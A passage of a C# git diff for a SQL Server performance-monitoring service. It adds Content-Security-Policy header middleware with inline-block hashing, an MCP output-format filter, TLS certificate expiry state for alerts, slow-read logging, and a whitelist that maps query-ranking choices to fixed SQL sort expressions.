+    public DarlingWebSecurityHeaders(RequestDelegate next) => _next = next;
+
+    public Task InvokeAsync(HttpContext context)
+    {
+        context.Response.OnStarting(static state =>
+        {
+            var headers = ((HttpContext)state).Response.Headers;
+
+            /* A page that needs inline blocks sets its own policy before it writes (PolicyForInlinePage);
+               every other response gets the default. */
+            if (!headers.ContainsKey(ContentSecurityPolicyHeader))
+            {
+                headers[ContentSecurityPolicyHeader] = ContentSecurityPolicy;
+            }
+
+            headers.XFrameOptions = "DENY";
+            headers.XContentTypeOptions = "nosniff";
+            headers["Referrer-Policy"] = "no-referrer";
+            return Task.CompletedTask;
+        }, context);
+
+        return _next(context);
+    }
+
+    /// <summary>
+    /// The default policy with the SHA-256 of every inline <c>&lt;script&gt;</c> and <c>&lt;style&gt;</c> block
+    /// in <paramref name="html"/> added to <c>script-src</c> and <c>style-src</c>. A browser compares the hash
+    /// with the block's exact text, so the pages that build their own markup (the login form and the
+    /// signed-in landing page, which render before the gated stylesheets and scripts are reachable) keep
+    /// working while every other inline block stays blocked.
+    ///
+    /// <para>A browser hashes a block's text after its HTML parser has turned every line ending into LF, so the
+    /// hash is taken over the LF form of the text, whatever line endings the source file was checked out with.
+    /// Call this once per page, on constant text, and keep the result: the policy never depends on a value
+    /// put into a particular response.</para>
+    /// </summary>
+    internal static string PolicyForInlinePage(string html)
+    {
+        ArgumentNullException.ThrowIfNull(html);
+        var scriptHashes = HashBlocks(s_scriptBlock, html);
+        var styleHashes = HashBlocks(s_styleBlock, html);
+        var policy = ContentSecurityPolicy;
+        if (scriptHashes.Length > 0)
+        {
+            policy = policy.Replace("script-src 'self'", "script-src 'self' " + scriptHashes, StringComparison.Ordinal);
+        }
+
+        if (styleHashes.Length > 0)
+        {
+            policy = policy.Replace("style-src 'self';", "style-src 'self' " + styleHashes + ";", StringComparison.Ordinal);
+        }
+
+        return policy;
+    }
+
+    /// <summary>The text with every CRLF and lone CR turned into LF: the form a browser's HTML parser hands to the
+    /// policy check (HTML Standard, "preprocessing the input stream").</summary>
+    internal static string NormalizeLineEndings(string text)
+    {
+        ArgumentNullException.ThrowIfNull(text);
+        return text.Replace("\r\n", "\n", StringComparison.Ordinal).Replace('\r', '\n');
+    }
+
+    private static string HashBlocks(Regex pattern, string html)
+    {
+        var hashes = new List<string>();
+        foreach (Match match in pattern.Matches(html))
+        {
+            /* A browser's HTML parser turns every CR LF and lone CR into LF before it builds the block's text, and the
+               hash is taken over that text. A page held in a source file with CR LF line ends (this repository's
+               default) would otherwise get a hash of text the browser never sees, and the block would stay blocked. */
+            var body = match.Groups["body"].Value.Replace("\r\n", "\n", StringComparison.Ordinal).Replace('\r', '\n');
+            if (body.Length == 0)
+            {
+                continue;
+            }
+
+            var token = "'sha256-" + Convert.ToBase64String(SHA256.HashData(Encoding.UTF8.GetBytes(body))) + "'";
+            if (!hashes.Contains(token))
+            {
+                hashes.Add(token);
+            }
+        }
+
+        return string.Join(' ', hashes);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/GcfCallToolFilter.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/GcfCallToolFilter.cs
index f48bbd40ce..90f5ede96b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/GcfCallToolFilter.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/GcfCallToolFilter.cs
@@ -1,4 +1,5 @@
 using System.Collections.Generic;
+using Microsoft.Extensions.DependencyInjection;
 using ModelContextProtocol.Protocol;
 using ModelContextProtocol.Server;
 
@@ -12,14 +13,24 @@ public static class GcfCallToolFilter
 {
     // The filter: run the tool, then transform its result. A filter is `next => handler`.
     public static McpRequestFilter<CallToolRequestParams, CallToolResult> Instance =>
-        next => async (request, cancellationToken) => Transform(await next(request, cancellationToken));
+        next => async (request, cancellationToken) =>
+        {
+            var result = await next(request, cancellationToken);
+            // #5320: a host that registers an IGcfOutputFormat pins the format; the real service
+            // registers none and keeps reading DARLING_OUTPUT_FORMAT on each call.
+            bool enabled = request.Services?.GetService<IGcfOutputFormat>()?.Enabled ?? GcfOutput.Enabled;
+            return Transform(result, enabled);
+        };
 
     // Replaces a single JSON text-content block with its GCF wire when GCF is enabled and
     // the wire is smaller and lossless; otherwise returns the result unchanged. Exposed for
     // testing. StructuredContent (if a tool sets it) is left untouched.
-    public static CallToolResult Transform(CallToolResult result)
+    public static CallToolResult Transform(CallToolResult result) => Transform(result, GcfOutput.Enabled);
+
+    // The same, with the format decision handed in (the filter resolves it per request).
+    public static CallToolResult Transform(CallToolResult result, bool enabled)
     {
-        if (!GcfOutput.Enabled || result.Content == null || result.IsError == true)
+        if (!enabled || result.Content == null || result.IsError == true)
             return result;
 
         // Only a lone text block is re-encoded, so an image or other block sent alongside
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/GcfOutput.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/GcfOutput.cs
index fa6e187496..09babcbfcd 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/GcfOutput.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/GcfOutput.cs
@@ -17,7 +17,9 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 public static class GcfOutput
 {
     // True when GCF output is requested. Read from the environment on each call so it can
-    // be toggled per process (or per test) without a restart.
+    // be toggled per process (or per test) without a restart. This is the production source:
+    // GcfCallToolFilter asks an IGcfOutputFormat registered in the host's services first (#5320)
+    // and falls back to this property when the host registers none, as the real service does.
     public static bool Enabled =>
         string.Equals(
             Environment.GetEnvironmentVariable("DARLING_OUTPUT_FORMAT")?.Trim(),
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/IGcfOutputFormat.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/IGcfOutputFormat.cs
new file mode 100644
index 0000000000..4d52d3fc75
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/IGcfOutputFormat.cs
@@ -0,0 +1,19 @@
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+// Where the host's GCF filter gets its format from (#5320). The real service registers none,
+// so GcfCallToolFilter reads DARLING_OUTPUT_FORMAT through GcfOutput.Enabled on each call,
+// exactly as before. A test host registers one to pin the format, so a test class that sets
+// the environment variable (or a live class running beside it) cannot re-encode another
+// class's answer mid-run.
+public interface IGcfOutputFormat
+{
+    bool Enabled { get; }
+}
+
+// A fixed answer, for a host that must not follow the environment.
+public sealed class FixedGcfOutputFormat : IGcfOutputFormat
+{
+    public FixedGcfOutputFormat(bool enabled) => Enabled = enabled;
+
+    public bool Enabled { get; }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/ListenerTlsCertificateState.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/ListenerTlsCertificateState.cs
new file mode 100644
index 0000000000..58cfed3de1
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/ListenerTlsCertificateState.cs
@@ -0,0 +1,139 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// One network listener's live TLS-certificate facts: published by that listener's host when it loads the
+/// certificate, observed by the worker's alert sweep (#3514, #5288). It is the host-to-worker direction of
+/// the seam, for exactly the one fact the worker cannot otherwise see: the certificate is loaded once inside
+/// the host and its expiry is a property of the SERVED certificate, not of anything on disk.
+///
+/// <para>There is one subclass per listener, registered as its own singleton: <see cref="WebTlsCertificateState"/>
+/// for the web dashboard and <see cref="McpTlsCertificateState"/> for the MCP endpoint. Each listener makes its
+/// own fail-closed decision about its own certificate, and each has its own self-alert, so a certificate that
+/// both listeners serve is published twice, once to each state, and the two alerts stand and resolve
+/// separately (#5288).</para>
+///
+/// <para><b>Why the served certificate, not the file.</b> Network exposure (and therefore the certificate) is
+/// file-defined and restart-only, so a host loads the certificate once at start and serves it for the
+/// process's life. An operator who drops a fresh certificate on disk without restarting is still SERVING the
+/// old one, the one that will lapse and take the listener to loopback-only, so the expiry the worker must
+/// alert on is the loaded certificate's, which only the host knows. It is published even when the host went
+/// on to REFUSE the certificate for lifetime (an already-expired certificate at start), so the worker can
+/// still raise the Critical the operator needs rather than the fact being lost to a log line.</para>
+///
+/// <para><b>Why the snapshot carries the host's refusal DECISION and not only the dates (#3517).</b> Expiry is
+/// legitimately the worker's to derive: the certificate lapses while the process runs, the host made no
+/// decision about it, and the date against the clock is the whole fact. Not-yet-valid is the opposite shape.
+/// The host judged <c>NotBefore</c> against the clock ONCE, at load, refused, and bound loopback-only, and it
+/// stays there until the next start no matter what the clock does next. A worker that re-derived that state
+/// from <c>NotBefore</c> would declare the listener healthy the moment the clock crossed the date, and
+/// resolve an alert about a listener that is still unreachable. So the host says what it decided
+/// (<see cref="Snapshot.RefusedNotYetValid"/>) and the worker repeats it until the host says otherwise.</para>
+///
+/// <para>Thread-safety: one writer (the host's start path), one reader (the worker's sweep). State is a
+/// single immutable record reference swapped atomically, so the reader never sees a torn snapshot. Null until
+/// the host publishes, which it does when it has a loaded certificate or when it could not load the one it was
+/// told to (<see cref="Snapshot.LoadRefusal"/>); loopback-only installs, an unconfigured <c>tls</c> block and a
+/// misconfigured one all leave it null, and the worker reads null as "no LAN TLS certificate to watch" and
+/// raises nothing.</para>
+///
+/// <para><b>Why a load failure publishes a verdict instead of clearing.</b> Null reads as healthy: it is what a
+/// stopped listener and an install with no TLS look like, and the worker resolves a standing expiry alert on it.
+/// A certificate that cannot be loaded at start (a changed password, a key that does not match) leaves the
+/// listener loopback-only, which is the opposite of healthy, so the host says so
+/// (<see cref="PublishLoadRefusal"/>) and the worker repeats it until the host says otherwise, the same shape as
+/// <see cref="Snapshot.RefusedNotYetValid"/>.</para>
+/// </summary>
+public abstract class ListenerTlsCertificateState
+{
+    /// <summary>A coherent published snapshot of one listener's loaded TLS certificate. <see cref="NotBeforeUtc"/>
+    /// and <see cref="NotAfterUtc"/> are normalized to UTC by the publisher (the X.509 <c>NotBefore</c> /
+    /// <c>NotAfter</c> are LOCAL times). <see cref="RefusedNotYetValid"/> is the host's load-time verdict that
+    /// the certificate's window had not opened yet, so it refused to serve it and the listener is
+    /// loopback-only (#3517) - a standing fact about THIS process's start, true until the host publishes
+    /// again or clears, not something to re-check against the clock. <see cref="LoadRefusal"/> is the host's
+    /// load-time verdict that the configured certificate could not be loaded at all (a wrong password, a key that
+    /// does not match, an unreadable file), carrying the reason: null when the certificate loaded. The listener is
+    /// then loopback-only, there are no certificate facts to give, so the date and identity fields of such a
+    /// snapshot are blank and mean nothing.</summary>
+    public sealed record Snapshot(
+        DateTimeOffset NotBeforeUtc,
+        DateTimeOffset NotAfterUtc,
+        string Subject,
+        string Thumbprint,
+        bool RefusedNotYetValid,
+        string? LoadRefusal = null);
+
+    private volatile Snapshot? _current;
+
+    /// <summary>Publishes the loaded certificate's facts (the owning host only, at start; also for a certificate
+    /// the host loaded and then refused for lifetime, so an expired-at-start certificate still surfaces and a
+    /// not-yet-valid one is reported as the refusal it was, #3517).</summary>
+    public void Publish(
+        DateTimeOffset notBeforeUtc, DateTimeOffset notAfterUtc, string subject, string thumbprint, bool refusedNotYetValid) =>
+        _current = new Snapshot(notBeforeUtc, notAfterUtc, subject ?? string.Empty, thumbprint ?? string.Empty, refusedNotYetValid);
+
+    /// <summary>Publishes the host's verdict that the configured certificate could not be loaded (the owning host
+    /// only, at start), in place of any earlier snapshot: the listener is loopback-only, and the worker raises
+    /// the Critical self-alert for it instead of reading the absence of a certificate as a healthy listener.
+    /// <paramref name="reason"/> is the loader's own message; the worker sanitizes and caps it for the alert
+    /// text.</summary>
+    public void PublishLoadRefusal(string reason) =>
+        _current = new Snapshot(default, default, string.Empty, string.Empty, RefusedNotYetValid: false, reason ?? string.Empty);
+
+    /// <summary>Clears the published snapshot back to "nothing to watch" (the owning host only) - called when the
+    /// host STOPS serving TLS: a runtime disable of the listener, including one that finds it not running after a
+    /// failed start (<see cref="ReleasesWhenDisabled"/>). A failed start clears through
+    /// <see cref="ClearUnlessRefusal"/> instead. A certificate that cannot be loaded is not a clear: see
+    /// <see cref="PublishLoadRefusal"/>. Without
+    /// this the snapshot is write-once and the worker keeps re-firing the expiry alert about a certificate the
+    /// process is no longer serving, with no resolution short of a full restart (#3514 follow-up). The
+    /// certificate is published again on the next successful start, so a port-change rebind - where Stop and
+    /// Start run back-to-back in one supervisor tick - re-publishes before the worker's next sweep observes
+    /// the null, and does not flicker a resolution.</summary>
+    public void Clear() => _current = null;
+
+    /// <summary>The failed start's counterpart of <see cref="Clear"/> (the owning host only), for a start that
+    /// adopted a certificate and then stopped short of serving it (port in use, store credential not ready). It
+    /// withdraws the facts of a certificate that was usable, as <see cref="Clear"/> does, so the worker stops
+    /// alerting about a certificate nothing serves. It KEEPS a refusal: a load refusal, a not-yet-valid refusal or an
+    /// expired certificate (<see cref="Snapshot.NotAfterUtc"/> at or before <paramref name="nowUtc"/>). The listener
+    /// is loopback-only on that verdict whether or not the start went on to fail, and a cleared state reads to the
+    /// worker as the healthy "no certificate to watch", which would resolve the Critical alert about it. The verdict
+    /// stays until a successful load publishes over it or the listener is stopped (<see cref="Clear"/>).</summary>
+    public void ClearUnlessRefusal(DateTimeOffset nowUtc)
+    {
+        var current = _current;
+        if (current is null || current.LoadRefusal is not null || current.RefusedNotYetValid || current.NotAfterUtc <= nowUtc)
+        {
+            return;
+        }
+
+        _current = null;
+    }
+
+    /// <summary>Whether a supervisor tick releases the certificate state of a listener that is not running and is
+    /// disabled. A failed start keeps a refusal or an expired verdict published (<see cref="ClearUnlessRefusal"/>), and
+    /// a runtime disable that comes AFTER it finds nothing running, so no stop runs and the kept verdict would hold the
+    /// worker's alert open until the next successful start or a service restart. The release is the one a stop makes
+    /// (<see cref="Clear"/>), and it runs once per transition to disabled: <paramref name="lastEnabled"/> is the
+    /// previous tick's enabled flag (null on the first tick), so a listener that stays disabled releases once rather
+    /// than on every poll tick, and one that is running is left to the stop the supervisor already runs for it. Pure,
+    /// so a test pins the transitions without a server.</summary>
+    internal static bool ReleasesWhenDisabled(bool running, bool enabled, bool? lastEnabled) =>
+        !running && !enabled && lastEnabled != false;
+
+    /// <summary>The latest published snapshot, or null when the host has no TLS certificate to report
+    /// (loopback-only, no <c>tls</c> block, a misconfigured one, or after a stop) - read by the worker as
+    /// "nothing to watch".</summary>
+    public Snapshot? Read() => _current;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/McpCommandDeadlines.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/McpCommandDeadlines.cs
index 03ceb4d92c..97de1b633b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/McpCommandDeadlines.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/McpCommandDeadlines.cs
@@ -32,7 +32,7 @@ namespace PerformanceMonitor.Darling.Service;
 /// 5–600 by
 /// <see cref="StoreConfigProvider.ClampComposeStatementTimeoutSeconds"/>. It is a ROLE setting, so it
 /// bounds every statement those identities run, not merely the composed queries it is named for —
-/// <see cref="DarlingTrendReader.QueryStoreDurationTrendSql"/> and
+/// <see cref="DarlingTrendReader.QueryStoreDurationTrendFilteredSql"/> and
 /// <see cref="QueryStoreTrendRouting"/> both already reason about it by name.</para>
 ///
 /// <para><b>Why a client-side deadline does not simply defer to that GUC.</b> Three reasons, and they land
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/McpTlsCertificateState.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/McpTlsCertificateState.cs
new file mode 100644
index 0000000000..ed9c3fb0d8
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/McpTlsCertificateState.cs
@@ -0,0 +1,23 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The MCP endpoint's live TLS-certificate facts (#5288): published by <see cref="DarlingMcpHostService"/> when
+/// it loads the certificate for its LAN listener (<c>mcp.network.tls</c>) and observed by the worker's alert
+/// sweep, which raises the "MCP TLS Certificate Expiring" self-alert from it. The twin of
+/// <see cref="WebTlsCertificateState"/>; every member lives on <see cref="ListenerTlsCertificateState"/>.
+///
+/// <para>A separate singleton rather than one shared state, so each listener publishes and clears only its
+/// own certificate and a web restart can never clear or resolve an MCP alert (or the other way round). A
+/// certificate that both listeners serve is published to both states, and the two alerts are independent.</para>
+/// </summary>
+public sealed class McpTlsCertificateState : ListenerTlsCertificateState
+{
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/McpToolLatencyFilter.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/McpToolLatencyFilter.cs
index 1eb3e2bbd9..26ac3ad2b8 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/McpToolLatencyFilter.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/McpToolLatencyFilter.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Diagnostics;
+using System.Text.Json.Nodes;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Protocol;
@@ -55,10 +56,18 @@ public sealed class McpToolLatencyFilter
     private readonly ReadLatencyAccumulator _readLatency;
     private readonly ILogger? _logger;
 
+    private readonly SlowReadLog? _slowReads;
+
     public McpToolLatencyFilter(ReadLatencyAccumulator readLatency, ILogger? logger)
+        : this(readLatency, logger, null)
+    {
+    }
+
+    internal McpToolLatencyFilter(ReadLatencyAccumulator readLatency, ILogger? logger, SlowReadLog? slowReads)
     {
         _readLatency = readLatency ?? throw new ArgumentNullException(nameof(readLatency));
         _logger = logger;
+        _slowReads = slowReads;
     }
 
     /// <summary>The filter: run the tool, time it, record the outcome. A filter is <c>next =&gt; handler</c>.</summary>
@@ -72,15 +81,21 @@ public McpRequestFilter<CallToolRequestParams, CallToolResult> AsFilter() =>
             }
 
             var stopwatch = Stopwatch.StartNew();
+            using var readScope = ReadScope.Open(_logger);
+            readScope.Scope.CaptureStatements = true;
             try
             {
                 var result = await next(request, cancellationToken);
-                Record(toolName, ClassifyResult(result, cancellationToken), stopwatch.ElapsedMilliseconds);
+                var outcome = ReadScope.Resolve(ClassifyResult(result, cancellationToken), readScope.Fallback);
+                Record(toolName, outcome, stopwatch.ElapsedMilliseconds);
+                OfferSlow(readScope.Scope, toolName, outcome, stopwatch.ElapsedMilliseconds, request, outcome == ReadOutcome.Error ? "tool_error" : SlowReadLog.ErrorClassOf(outcome));
                 return result;
             }
             catch (Exception ex)
             {
-                Record(toolName, ReadOutcomeClassifier.Classify(ex, cancellationToken), stopwatch.ElapsedMilliseconds);
+                var outcome = ReadScope.Resolve(ReadOutcomeClassifier.Classify(ex, cancellationToken), readScope.Fallback);
+                Record(toolName, outcome, stopwatch.ElapsedMilliseconds);
+                OfferSlow(readScope.Scope, toolName, outcome, stopwatch.ElapsedMilliseconds, request, SlowReadLog.ErrorClassOf(ex));
                 throw;
             }
         };
@@ -102,6 +117,36 @@ internal static ReadOutcome ClassifyResult(CallToolResult result, System.Threadi
         return result.IsError == true ? ReadOutcome.Error : ReadOutcome.Ok;
     }
 
+    /// <summary>Offers a slow or failed call to the slow-read record (#5097). The arguments are built only when the
+    /// call qualifies, and nothing here can reach the request.</summary>
+    private void OfferSlow(ReadScope scope, string toolName, ReadOutcome outcome, long elapsedMs,
+        ModelContextProtocol.Server.RequestContext<CallToolRequestParams> request, string? errorClass)
+    {
+        if (_slowReads is null || !_slowReads.ShouldRecord(outcome, elapsedMs))
+        {
+            return;
+        }
+
+        JsonObject? arguments = null;
+        try
+        {
+            if (request.Params?.Arguments is { } supplied)
+            {
+                arguments = new JsonObject();
+                foreach (var (key, value) in supplied)
+                {
+                    arguments[key] = JsonNode.Parse(value.GetRawText());
+                }
+            }
+        }
+        catch (Exception ex)
+        {
+            _logger?.LogDebug(ex, "Slow-read arguments for MCP tool {Tool} were not read.", toolName);
+        }
+
+        _slowReads.Offer(scope, ReadSurface.Mcp, toolName, outcome, elapsedMs, arguments, errorClass, _logger);
+    }
+
     private void Record(string toolName, ReadOutcome outcome, long elapsedMs)
     {
         try
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/TopRanking.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/TopRanking.cs
new file mode 100644
index 0000000000..ac06a4208d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/TopRanking.cs
@@ -0,0 +1,232 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// #5226: what the web's Top Queries and Top Procedures lists rank by. The desktop ranks both by duration; the
+/// web ranked by CPU only, so a long query that used little CPU (blocked, or waiting on I/O) never appeared in
+/// the browser. <see cref="Cpu"/> is the default and is today's ranking: the same metric, with ties and NULL sums
+/// now put in a fixed order (see <see cref="TopRankings"/>).
+/// </summary>
+public enum TopRanking
+{
+    /// <summary>Summed <c>delta_worker_time</c> — the tools' promise, and what every caller that names no choice gets.</summary>
+    Cpu = 0,
+
+    /// <summary>Summed <c>delta_elapsed_time</c> — the desktop's ranking.</summary>
+    Duration = 1,
+
+    /// <summary>Summed <c>delta_logical_reads</c>. The stitched hourly rollups carry no per-query or per-procedure reads (#5329: the io
+    /// hourly rollups, <c>query_stats_io_hourly</c> and <c>procedure_stats_io_hourly</c>, do, once they reach the window's start or reach further back than raw).</summary>
+    Reads = 2,
+
+    /// <summary>Summed <c>delta_execution_count</c>.</summary>
+    Executions = 3,
+}
+
+/// <summary>
+/// The whitelist behind <see cref="TopRanking"/>: the wire spelling, and the FIXED metric each choice maps to for
+/// each of the five top-N statements. PostgreSQL cannot parameterize a sort expression, so the choice is spliced
+/// as text, and the text comes from this file only: a request value is parsed to the enum by
+/// <see cref="TryParse"/> (an unknown spelling is refused, never carried along) and the enum picks a literal here.
+/// Request text never reaches SQL.
+///
+/// <para>The five statements stay public consts, so the suite can pin their dialect and columns without a live
+/// store. Each carries the anchor <see cref="RankAnchor"/> exactly once, in its ranking pass's select list as
+/// <c>$RANK$ AS rank_metric</c>; every <c>ORDER BY</c> in the statement sorts on the <c>rank_metric</c> and
+/// <c>rank_cpu</c> aliases and is written out in the const, with <c>NULLS LAST</c> and the group key at its end. So
+/// the ranking choice is the ONE thing <see cref="Apply"/> varies, and the ordering rules (NULLs last, a total
+/// order) are the same text for every choice and cannot be forgotten by one of them. <see cref="Apply"/> throws
+/// when the anchor is missing or appears more than once, so a future edit to a const cannot turn a ranking choice
+/// into a silent no-op, and it also expands the CPU default: a const is never run as it stands.</para>
+/// </summary>
+public static class TopRankings
+{
+    /// <summary>The accepted spellings, for the refusal message.</summary>
+    public const string Accepted = "cpu, duration, reads or executions";
+
+    /// <summary>
+    /// The one anchor each top-N const carries, replaced by the chosen ranking's sum (<c>SUM(delta_logical_reads)</c>,
+    /// <c>SUM(elapsed_time_sum)</c>, and so on). It sits in the select list of the pass that ranks, as
+    /// <c>$RANK$ AS rank_metric</c>, and nowhere else.
+    /// </summary>
+    public const string RankAnchor = "$RANK$";
+
+    /// <summary>
+    /// Parses the wire value. Absent or blank is the default (<see cref="TopRanking.Cpu"/>); the match is
+    /// case-insensitive. Returns false for anything else, so a caller refuses it rather than ranking by a guess.
+    /// </summary>
+    public static bool TryParse(string? value, out TopRanking ranking)
+    {
+        ranking = TopRanking.Cpu;
+        if (string.IsNullOrWhiteSpace(value))
+        {
+            return true;
+        }
+
+        switch (value.Trim().ToLowerInvariant())
+        {
+            case "cpu":
+                return true;
+            case "duration":
+                ranking = TopRanking.Duration;
+                return true;
+            case "reads":
+                ranking = TopRanking.Reads;
+                return true;
+            case "executions":
+                ranking = TopRanking.Executions;
+                return true;
+            default:
+                return false;
+        }
+    }
+
+    /// <summary>The wire spelling of a ranking.</summary>
+    public static string WireName(TopRanking ranking) => ranking switch
+    {
+        TopRanking.Duration => "duration",
+        TopRanking.Reads => "reads",
+        TopRanking.Executions => "executions",
+        _ => "cpu",
+    };
+
+    /// <summary>
+    /// True when the hourly relation a read names carries the column the ranking sorts on. The stitched hourly
+    /// rollups keep worker time, elapsed time and execution counts per bucket and no logical reads
+    /// (<c>s_stitchColumnsByLegacy</c> in <c>TimescaleSupport.cs</c>), so <see cref="TopRanking.Reads"/> is
+    /// answered from the raw tier, the way the parallelism filter is. #5329: <c>collect.query_stats_io_hourly</c>
+    /// (<paramref name="io"/>) keeps every column the interval sibling does PLUS the three sums
+    /// (<see cref="HourlyIoSums"/>), so on that shape every ranking has a column, reads included.
+    /// </summary>
+    public static bool HourlyCarries(TopRanking ranking, bool io = false) => io || ranking != TopRanking.Reads;
+
+    /// <summary>
+    /// #5329: the projection of the three sums only <c>query_stats_io_hourly</c> keeps, aliased to the
+    /// names the page carries them under. The stitched shape cannot name the columns, so its twin
+    /// (<see cref="HourlyNoIoSums"/>) projects typed NULLs under the same names and the page keeps one column layout.
+    /// </summary>
+    public const string HourlyIoSums =
+        "CAST(SUM(logical_reads_sum) AS bigint) AS total_logical_reads, "
+        + "CAST(SUM(physical_reads_sum) AS bigint) AS total_physical_reads, "
+        + "CAST(SUM(logical_writes_sum) AS bigint) AS total_logical_writes";
+
+    /// <summary>The stitched shape's stand-in for <see cref="HourlyIoSums"/>: same names, no column to sum.</summary>
+    public const string HourlyNoIoSums =
+        "CAST(NULL AS bigint) AS total_logical_reads, "
+        + "CAST(NULL AS bigint) AS total_physical_reads, "
+        + "CAST(NULL AS bigint) AS total_logical_writes";
+
+    /// <summary>
+    /// Where a read ranked by <paramref name="ranking"/> goes when the tier is Hourly (#5329).
+    /// <list type="bullet">
+    /// <item><c>Io</c>: <c>query_stats_io_hourly</c> reaches the window's start (<paramref name="ioFloor"/> at or before
+    /// <paramref name="startUtc"/>), so EVERY ranking reads it: the shared columns equal the interval sibling's and it
+    /// carries the reads sums. A null floor (the relation is absent or holds nothing) never covers.</item>
+    /// <item>Otherwise a reads ranking cannot be answered whole from a rollup: raw when it reaches the start;
+    /// else whichever of the two reaches further back (io partial, with the hourly window notice, or raw with its
+    /// retention notice). A tie goes to raw, which carries the detail columns.</item>
+    /// <item>Otherwise (any other ranking) <c>Stitched</c>: today's route, byte for byte.</item>
+    /// </list>
+    /// </summary>
+    public static HourlyRoute ChooseHourlyRoute(TopRanking ranking, DateTime startUtc, DateTime? ioFloor, DateTime? rawOldest)
+    {
+        if (ioFloor is DateTime floor && floor <= startUtc)
+        {
+            return HourlyRoute.Io;
+        }
+
+        if (ranking != TopRanking.Reads)
+        {
+            return HourlyRoute.Stitched;
+        }
+
+        if (rawOldest is DateTime raw && raw <= startUtc)
+        {
+            return HourlyRoute.Raw;
+        }
+
+        return ioFloor is DateTime partialIo && (rawOldest is null || partialIo < rawOldest.Value)
+            ? HourlyRoute.Io
+            : HourlyRoute.Raw;
+    }
+
+    /// <summary>
+    /// Expands one of the top-N consts for the chosen ranking: replaces its single <see cref="RankAnchor"/> with
+    /// the ranking's sum. <paramref name="hourly"/> names the shape: the raw tables sum <c>delta_*</c> columns, the
+    /// hourly rollups sum <c>*_sum</c> ones. The CPU choice is expanded too (to the worker-time sum), so every read
+    /// goes through here and no const is run unexpanded. Throws <see cref="InvalidOperationException"/> when the
+    /// anchor is absent or present more than once, and for a reads ranking on the hourly shape unless
+    /// <paramref name="io"/> (#5329: only <c>query_stats_io_hourly</c> has the column).
+    /// </summary>
+    public static string Apply(string statement, TopRanking ranking, bool hourly, bool io = false)
+    {
+        if (hourly && !HourlyCarries(ranking, io))
+        {
+            throw new InvalidOperationException($"The hourly rollups carry no column to rank by {WireName(ranking)}; the caller must read raw.");
+        }
+
+        return ReplaceOnce(statement, RankAnchor, hourly ? HourlyMetric(ranking) : RawMetric(ranking));
+    }
+
+    private static string RawMetric(TopRanking ranking) => ranking switch
+    {
+        TopRanking.Cpu => "SUM(delta_worker_time)",
+        TopRanking.Duration => "SUM(delta_elapsed_time)",
+        TopRanking.Reads => "SUM(delta_logical_reads)",
+        TopRanking.Executions => "SUM(delta_execution_count)",
+        _ => throw new ArgumentOutOfRangeException(nameof(ranking)),
+    };
+
+    /* Reads is reachable here only through the io shape: Apply refuses it on the stitched one. */
+    private static string HourlyMetric(TopRanking ranking) => ranking switch
+    {
+        TopRanking.Cpu => "SUM(worker_time_sum)",
+        TopRanking.Duration => "SUM(elapsed_time_sum)",
+        TopRanking.Reads => "SUM(logical_reads_sum)",
+        TopRanking.Executions => "SUM(execution_count_sum)",
+        _ => throw new ArgumentOutOfRangeException(nameof(ranking)),
+    };
+
+    private static string ReplaceOnce(string sql, string find, string replacement)
+    {
+        var at = sql.IndexOf(find, StringComparison.Ordinal);
+        if (at < 0 || sql.IndexOf(find, at + find.Length, StringComparison.Ordinal) >= 0)
+        {
+            throw new InvalidOperationException($"Expected exactly one '{find}' in the top-N statement (#5226); the ranking swap would not land.");
+        }
+
+        return string.Concat(sql.AsSpan(0, at), replacement, sql.AsSpan(at + find.Length));
+    }
+
+    /// <summary>The choices the page offers, in the order it lists them. Wire value and label.</summary>
+    public static IReadOnlyList<(string Value, string Label)> Choices { get; } = new[]
+    {
+        ("cpu", "CPU"),
+        ("duration", "Duration"),
+        ("reads", "Reads"),
